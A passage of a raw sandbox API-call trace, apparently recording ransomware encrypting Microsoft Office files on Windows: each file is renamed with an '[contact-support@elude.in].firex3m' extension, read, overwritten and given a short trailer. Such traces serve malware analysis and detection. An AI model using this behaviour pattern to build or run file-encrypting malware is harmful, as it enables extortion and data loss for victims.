pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LGND.VSL") returned 1 [0148.105] GetProcessHeap () returned 0x630000 [0148.105] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2688) returned 0x71f7c78 [0148.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lgnd.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0149.113] CloseHandle (hObject=0x6b0) returned 1 [0149.114] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.114] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lgnd.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LGND.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lgnd.vsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.117] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.118] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LGND.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b5ed86, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3b5ed86, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3b5ed86, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xb6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LGND.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LGNDVS~1.FIR")) returned 0x6d4f40 [0149.118] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0149.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LGND.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lgnd.vsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0149.118] GetProcessHeap () returned 0x630000 [0149.118] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f818b0 [0149.119] GetProcessHeap () returned 0x630000 [0149.119] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f8cce0 [0149.119] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.119] ReadFile (in: hFile=0x6b0, lpBuffer=0x6f818b0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f818b0*, lpNumberOfBytesRead=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.315] GetProcessHeap () returned 0x630000 [0158.315] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176480 [0158.315] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.315] WriteFile (in: hFile=0x6b0, lpBuffer=0x6f8cce0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f8cce0*, lpNumberOfBytesWritten=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.316] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.316] WriteFile (in: hFile=0x6b0, lpBuffer=0x6f980df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f980df*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.316] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.316] WriteFile (in: hFile=0x6b0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.316] CloseHandle (hObject=0x6b0) returned 1 [0158.316] GetProcessHeap () returned 0x630000 [0158.316] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f8cce0 | out: hHeap=0x630000) returned 1 [0158.316] GetProcessHeap () returned 0x630000 [0158.316] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f818b0 | out: hHeap=0x630000) returned 1 [0158.316] GetProcessHeap () returned 0x630000 [0158.316] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176480 | out: hHeap=0x630000) returned 1 [0158.316] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.317] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LGND.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b5ed86, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3b5ed86, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x24500cbb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb6ec, dwReserved0=0x9207496, dwReserved1=0x6f818a8, cFileName="LGND.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LGNDVS~1.FIR")) returned 0x6d5340 [0158.317] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0158.317] Sleep (dwMilliseconds=0x1) [0161.379] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb", len=0x6d | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb") returned 1 [0161.379] GetProcessHeap () returned 0x630000 [0161.379] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bc4) returned 0x707d3d0 [0161.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\powerpivotexcelclientaddin.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0161.380] CloseHandle (hObject=0x648) returned 1 [0161.380] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.380] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\powerpivotexcelclientaddin.tlb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\powerpivotexcelclientaddin.tlb.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.382] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.382] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab0, dwReserved0=0xab00d77c, dwReserved1=0x6e006f, cFileName="PowerPivotExcelClientAddIn.tlb.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5340 [0161.382] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0161.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\powerpivotexcelclientaddin.tlb.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0161.382] GetProcessHeap () returned 0x630000 [0161.383] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xac1) returned 0x6ecf488 [0161.383] GetProcessHeap () returned 0x630000 [0161.383] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xac1) returned 0x716d050 [0161.383] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.383] ReadFile (in: hFile=0x648, lpBuffer=0x6ecf488, nNumberOfBytesToRead=0xaa0, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecf488*, lpNumberOfBytesRead=0x60fff0c*=0xaa0, lpOverlapped=0x0) returned 1 [0161.398] GetProcessHeap () returned 0x630000 [0161.398] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177b78 [0161.398] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.398] WriteFile (in: hFile=0x648, lpBuffer=0x716d050*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x716d050*, lpNumberOfBytesWritten=0x60fff0c*=0xaa0, lpOverlapped=0x0) returned 1 [0161.399] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.399] WriteFile (in: hFile=0x648, lpBuffer=0x716daef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x716daef*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0161.399] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.399] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0161.399] CloseHandle (hObject=0x648) returned 1 [0161.399] GetProcessHeap () returned 0x630000 [0161.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x716d050 | out: hHeap=0x630000) returned 1 [0161.399] GetProcessHeap () returned 0x630000 [0161.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecf488 | out: hHeap=0x630000) returned 1 [0161.399] GetProcessHeap () returned 0x630000 [0161.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177b78 | out: hHeap=0x630000) returned 1 [0161.399] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.399] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2625bb4b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xad4, dwReserved0=0x9207496, dwReserved1=0x6ecf480, cFileName="PowerPivotExcelClientAddIn.tlb.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5000 [0161.400] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0161.400] Sleep (dwMilliseconds=0x1) [0161.422] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml") returned 1 [0161.422] GetProcessHeap () returned 0x630000 [0161.422] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bc0) returned 0x707d3d0 [0161.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0161.423] CloseHandle (hObject=0x694) returned 1 [0161.423] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.425] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.425] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x110a, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5040 [0161.425] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0161.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0161.425] GetProcessHeap () returned 0x630000 [0161.425] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1121) returned 0x714508 [0161.425] GetProcessHeap () returned 0x630000 [0161.425] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1121) returned 0x722a78 [0161.425] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.425] ReadFile (in: hFile=0x694, lpBuffer=0x714508, nNumberOfBytesToRead=0x1100, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x714508*, lpNumberOfBytesRead=0x60fff0c*=0x1100, lpOverlapped=0x0) returned 1 [0161.443] GetProcessHeap () returned 0x630000 [0161.443] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177b78 [0161.443] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.443] WriteFile (in: hFile=0x694, lpBuffer=0x722a78*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x722a78*, lpNumberOfBytesWritten=0x60fff0c*=0x1100, lpOverlapped=0x0) returned 1 [0161.443] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.443] WriteFile (in: hFile=0x694, lpBuffer=0x723b77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x723b77*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0161.443] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.444] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0161.444] CloseHandle (hObject=0x694) returned 1 [0161.444] GetProcessHeap () returned 0x630000 [0161.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722a78 | out: hHeap=0x630000) returned 1 [0161.444] GetProcessHeap () returned 0x630000 [0161.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714508 | out: hHeap=0x630000) returned 1 [0161.444] GetProcessHeap () returned 0x630000 [0161.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177b78 | out: hHeap=0x630000) returned 1 [0161.444] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x262ce5c2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x112e, dwReserved0=0x9207496, dwReserved1=0x714500, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5340 [0161.444] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0161.444] Sleep (dwMilliseconds=0x1) [0163.630] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\PowerPivotExcelClientAddIn.rll") returned 1 [0163.630] GetProcessHeap () returned 0x630000 [0163.630] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c24) returned 0x707d3d0 [0163.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1061\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0165.387] CloseHandle (hObject=0x5ec) returned 1 [0165.389] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0165.389] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1061\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1061\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0168.308] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0168.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11660, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5000 [0168.309] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0168.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1061\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0168.309] GetProcessHeap () returned 0x630000 [0168.309] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70bf738 [0168.309] GetProcessHeap () returned 0x630000 [0168.309] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70cab68 [0168.309] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.309] ReadFile (in: hFile=0x5ec, lpBuffer=0x70bf738, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70bf738*, lpNumberOfBytesRead=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0174.937] GetProcessHeap () returned 0x630000 [0174.937] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175cd8 [0174.937] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.938] WriteFile (in: hFile=0x5ec, lpBuffer=0x70cab68*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70cab68*, lpNumberOfBytesWritten=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0174.938] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.938] WriteFile (in: hFile=0x5ec, lpBuffer=0x70d5f67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d5f67*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0174.938] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 